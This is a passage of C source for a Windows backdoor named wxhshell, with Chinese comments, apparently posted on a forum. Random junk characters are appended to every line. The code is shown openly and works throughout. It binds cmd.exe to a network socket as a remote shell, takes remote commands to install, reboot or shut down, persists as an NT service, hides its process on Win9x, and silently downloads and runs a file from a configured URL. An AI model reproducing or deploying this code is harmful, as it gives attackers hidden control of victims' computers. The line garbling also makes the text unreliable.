  case '?': { xqfIm%9i}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A2SDEVU  
    break; L~C:1VG5  
  } -_= m j  
  // 安装 <u/(7H  
  case 'i': { Cv [1HO<  
    if(Install()) nPk&/H%5hn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +'wO:E1( w  
    else |,tKw4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }s[`T   
    break; HSVl$66  
    } qB3E  
  // 卸载 *MQ`&;Qa,  
  case 'r': { \2CEEs'  
    if(Uninstall()) Yr[& *>S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i&{%} ==7  
    else ;9LOeH?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l#Vg=zrT  
    break; z0Z1J8Qq6.  
    } @2;cv?i)  
  // 显示 wxhshell 所在路径 -d^'-s  
  case 'p': { N_/+B]r }T  
    char svExeFile[MAX_PATH]; {nw.bKq 7  
    strcpy(svExeFile,"\n\r"); =_CH$F!U  
      strcat(svExeFile,ExeFile); qg:EN~E#  
        send(wsh,svExeFile,strlen(svExeFile),0); wo;OkJKF  
    break; +.Xi7x+#O  
    } d.HcO^  
  // 重启 ';v1AX}5q  
  case 'b': { }}Z2@}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6"; ITU^v  
    if(Boot(REBOOT)) mF4y0r0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .A0fI";Q  
    else { $9@AwS@Uu  
    closesocket(wsh); ;]@Pm<f  
    ExitThread(0); #qW#>0U  
    } <W+9 h0c  
    break; AH_qZTv0{Q  
    } Wb[k2V  
  // 关机 ("{"8   
  case 'd': { wB&5q!{!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q>71uM%e`  
    if(Boot(SHUTDOWN)) BGHZL~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h1l%\3ZH  
    else { &x;n^W;#  
    closesocket(wsh); >P]gjYN  
    ExitThread(0); xsiJI1/68  
    } Z{gm4YV  
    break; ;#9ioG x  
    } %> 5>wP   
  // 获取shell _?bO /y_y  
  case 's': { Ubgn^+AI  
    CmdShell(wsh); 7D1$cmtH  
    closesocket(wsh); IR#BSfBZ  
    ExitThread(0); \0vs93>?  
    break; jAU&h@  
  } hRMya#%-  
  // 退出 uP(t+}dQ+3  
  case 'x': { {e q378d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9M5W4&  
    CloseIt(wsh); R_\o`v5  
    break; H \'1.8g/  
    } ZCV i ZWo  
  // 离开 64]8ykRD-  
  case 'q': { DEbMb6)U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PQa0m)H@  
    closesocket(wsh); tY: Nq*@  
    WSACleanup(); zWH)\>X59  
    exit(1); x,zYNNx5g  
    break; @b,6W wc  
        } pb)kN%  
  } gS8+S\2  
  } ~X3x- nAt  
v1Q 78P  
  // 提示信息 ;<_a ,5\Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P$Oj3HD LM  
} }2iR=$2  
  } H5 V>d  
*C<;yPVc  
  return; v$w}UC%uf  
} ]:b52Z  
b*H*(}A6"'  
// shell模块句柄 g7a446QR\K  
int CmdShell(SOCKET sock) h(<>s#=E  
{ {+nf&5E 6  
STARTUPINFO si; '5LdiSk  
ZeroMemory(&si,sizeof(si)); 2ij&Db/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dh}(B$~Oz+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T\g+w\N  
PROCESS_INFORMATION ProcessInfo; 'nBP%  
char cmdline[]="cmd"; vZ811U~}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :~#)Xa0I  
  return 0; W]bgWKd  
} x)GheM^  
zBu@a:E%H  
// 自身启动模式 9t6c*|60#n  
int StartFromService(void) 9x|`XAB  
{ EwkSUA>Tm  
typedef struct ^m&I^ \  
{ +:4>4=  
  DWORD ExitStatus; GZ,MC?W  
  DWORD PebBaseAddress; =B5{7g\  
  DWORD AffinityMask; N5,LHO  
  DWORD BasePriority;  mC$y*G  
  ULONG UniqueProcessId; y_w  <3  
  ULONG InheritedFromUniqueProcessId; .xWaS8f  
}   PROCESS_BASIC_INFORMATION; K3M.ZRh\;`  
'^>} =f  
PROCNTQSIP NtQueryInformationProcess; 8Znr1=1   
?|+e*{4k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2[HPU M2>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GK!@|Kk8q7  
T^(W _S  
  HANDLE             hProcess; J"LLj*,0"  
  PROCESS_BASIC_INFORMATION pbi; Sk/@w[  
) $b F*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BV:Ca34&  
  if(NULL == hInst ) return 0; y<6c*e1  
cv-rEHT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Nw$OJ9$L>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IGQBTdPUa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); At?|[%< `  
Q?1J<(oq9  
  if (!NtQueryInformationProcess) return 0; 1*2ycfa  
CuvY^["  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !'p<Kh[i  
  if(!hProcess) return 0; @uCi0Pt  
jH!;}q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KFwuz()7  
yxHo0U  
  CloseHandle(hProcess); ,?erAI  
-grmmE]/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #dL,d6a  
if(hProcess==NULL) return 0; rKUtTj  
'jfE?ngt  
HMODULE hMod; d"06 gp  
char procName[255]; \<*F#3U1  
unsigned long cbNeeded; (${ #l  
&K[sb%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *$BUow/>  
[n)ak)_/  
  CloseHandle(hProcess); cx$h"  
*X/Vt$P  
if(strstr(procName,"services")) return 1; // 以服务启动 C@eL9R;N1  
R6od{#5H$  
  return 0; // 注册表启动 N%}J:w  
} xb3G,F  
wbAwmOiZ  
// 主模块 Gd_0FF.  
int StartWxhshell(LPSTR lpCmdLine) ,v K%e>e&  
{ {VW\EOPV~  
  SOCKET wsl; L6PgWc;m  
BOOL val=TRUE; m~AAO{\:b  
  int port=0; V [g^R*b  
  struct sockaddr_in door; <O0tg[ub  
i0K 2#}=^  
  if(wscfg.ws_autoins) Install(); P dqvXc  
?Y3i-jY  
port=atoi(lpCmdLine); Zf3(! a[  
Ig}hap]G  
if(port<=0) port=wscfg.ws_port; 5=I({=/>  
e'A_4;~@s  
  WSADATA data; BInSS*L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Lv['/!DJ|  
dN3^PK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RU7+$Z0K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oSD=3DQ;  
  door.sin_family = AF_INET; *6` ^8Y\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jmwN1Se>  
  door.sin_port = htons(port); &uRT/+18W3  
A;Y~Hu4KPZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0*b8?e  
closesocket(wsl); :38h)9>RK  
return 1; 5?SE?VC=t  
} 2|lR@L sr  
zPp22  
  if(listen(wsl,2) == INVALID_SOCKET) { -Yse^(^"s  
closesocket(wsl); mc%. 8i  
return 1; nUpj+F#  
} Q4-d|  
  Wxhshell(wsl); 7FcZxu\  
  WSACleanup(); ]pBEoktp  
DSqA}r  
return 0; NMK$$0U  
:JG5)H}j+  
} `aAE4Ry?  
Zt! $"N.,  
// 以NT服务方式启动 1[O cZ CS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DZ2gnRg  
{ 5X)QW5A  
DWORD   status = 0; ~ Ze!F"  
  DWORD   specificError = 0xfffffff; I F6$@Q  
8|)!E`TKSV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g $Y]{VM.J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d.~ns4bt9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A?#i{R  
  serviceStatus.dwWin32ExitCode     = 0; xjbI1qCfe  
  serviceStatus.dwServiceSpecificExitCode = 0; 9 nc_$H{  
  serviceStatus.dwCheckPoint       = 0; .:}<4;Qz94  
  serviceStatus.dwWaitHint       = 0; [;,E cw^  
S1^/W-yoc~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r+ 8Tp|%  
  if (hServiceStatusHandle==0) return; T90O.]S  
*W\3cS  
status = GetLastError(); qfl!>  
  if (status!=NO_ERROR) KJoa^e;~  
{ hbJy<e1W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =t-Ud^3  
    serviceStatus.dwCheckPoint       = 0; !9 kNL  
    serviceStatus.dwWaitHint       = 0; |OF3O,5z  
    serviceStatus.dwWin32ExitCode     = status; #oTVfY#  
    serviceStatus.dwServiceSpecificExitCode = specificError; g]L8Jli  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }C_g;7*  
    return; f\cTd/?Ju  
  } kR %,:   
KyX2CfW}t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C('D]u$Hdk  
  serviceStatus.dwCheckPoint       = 0; A"M;kzAfHM  
  serviceStatus.dwWaitHint       = 0; z_xy*Iif  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9_5>MmiB  
} 6jc5B#  
b}Gm{;s!  
// 处理NT服务事件,比如:启动、停止 L]z8'n,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YT!iI   
{ @-S7)h>~  
switch(fdwControl) :2c(.-[`  
{ 6/L[`n"G  
case SERVICE_CONTROL_STOP: _VdJFjY?zc  
  serviceStatus.dwWin32ExitCode = 0; Z72%Bv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c!6v-2ykv  
  serviceStatus.dwCheckPoint   = 0; ]l fufjj  
  serviceStatus.dwWaitHint     = 0; H if| z[0$  
  { (Ud"+a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PU.j(0  
  } &2  Yo  
  return; n^;-&  
case SERVICE_CONTROL_PAUSE: {ObY1Y`ea  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }rmr0Bh  
  break; Dz~^AuD6  
case SERVICE_CONTROL_CONTINUE: k8st XW-w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hk5!$#^  
  break; >ph=?M KD  
case SERVICE_CONTROL_INTERROGATE: E]~ #EFc  
  break; z.hq2v  
}; U9`Co&Z2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +sn0bi/rG  
} v2]N5  
?SYmsaSr5  
// 标准应用程序主函数 ,x&WE@tD |  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @*xP A  
{ t&43)TPb.  
U`~L}w"  
// 获取操作系统版本 Pl'lmUR  
OsIsNt=GetOsVer(); E.m2- P;4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >wqWIw.w>  
+76ao7d.  
  // 从命令行安装 nX7F<k4G2  
  if(strpbrk(lpCmdLine,"iI")) Install(); /!Ag/SmS!9  
P|ibUxSA~,  
  // 下载执行文件 J3aom,$o  
if(wscfg.ws_downexe) { }KUK|p5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /V+7:WDj  
  WinExec(wscfg.ws_filenam,SW_HIDE); k}g4?  
} z[[qrR  
 ) 4t%?wT  
if(!OsIsNt) { #s\yO~F-  
// 如果时win9x,隐藏进程并且设置为注册表启动 `dX0F=Ag?  
HideProc(); 6rE8P#  
StartWxhshell(lpCmdLine); TW 1`{SM  
} Da[#X`Kp$  
else Y]6d Yq{k  
  if(StartFromService()) cCiDe`T\F  
  // 以服务方式启动 t3.;qDy  
  StartServiceCtrlDispatcher(DispatchTable); \25EI]  
else :&&s*_  
  // 普通方式启动 5,4" CF$  
  StartWxhshell(lpCmdLine); J( ]b1e  
v\9f 8|K  
return 0; `Zmdlp@  
}
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只看该作者 1 发表于: 2006-10-10
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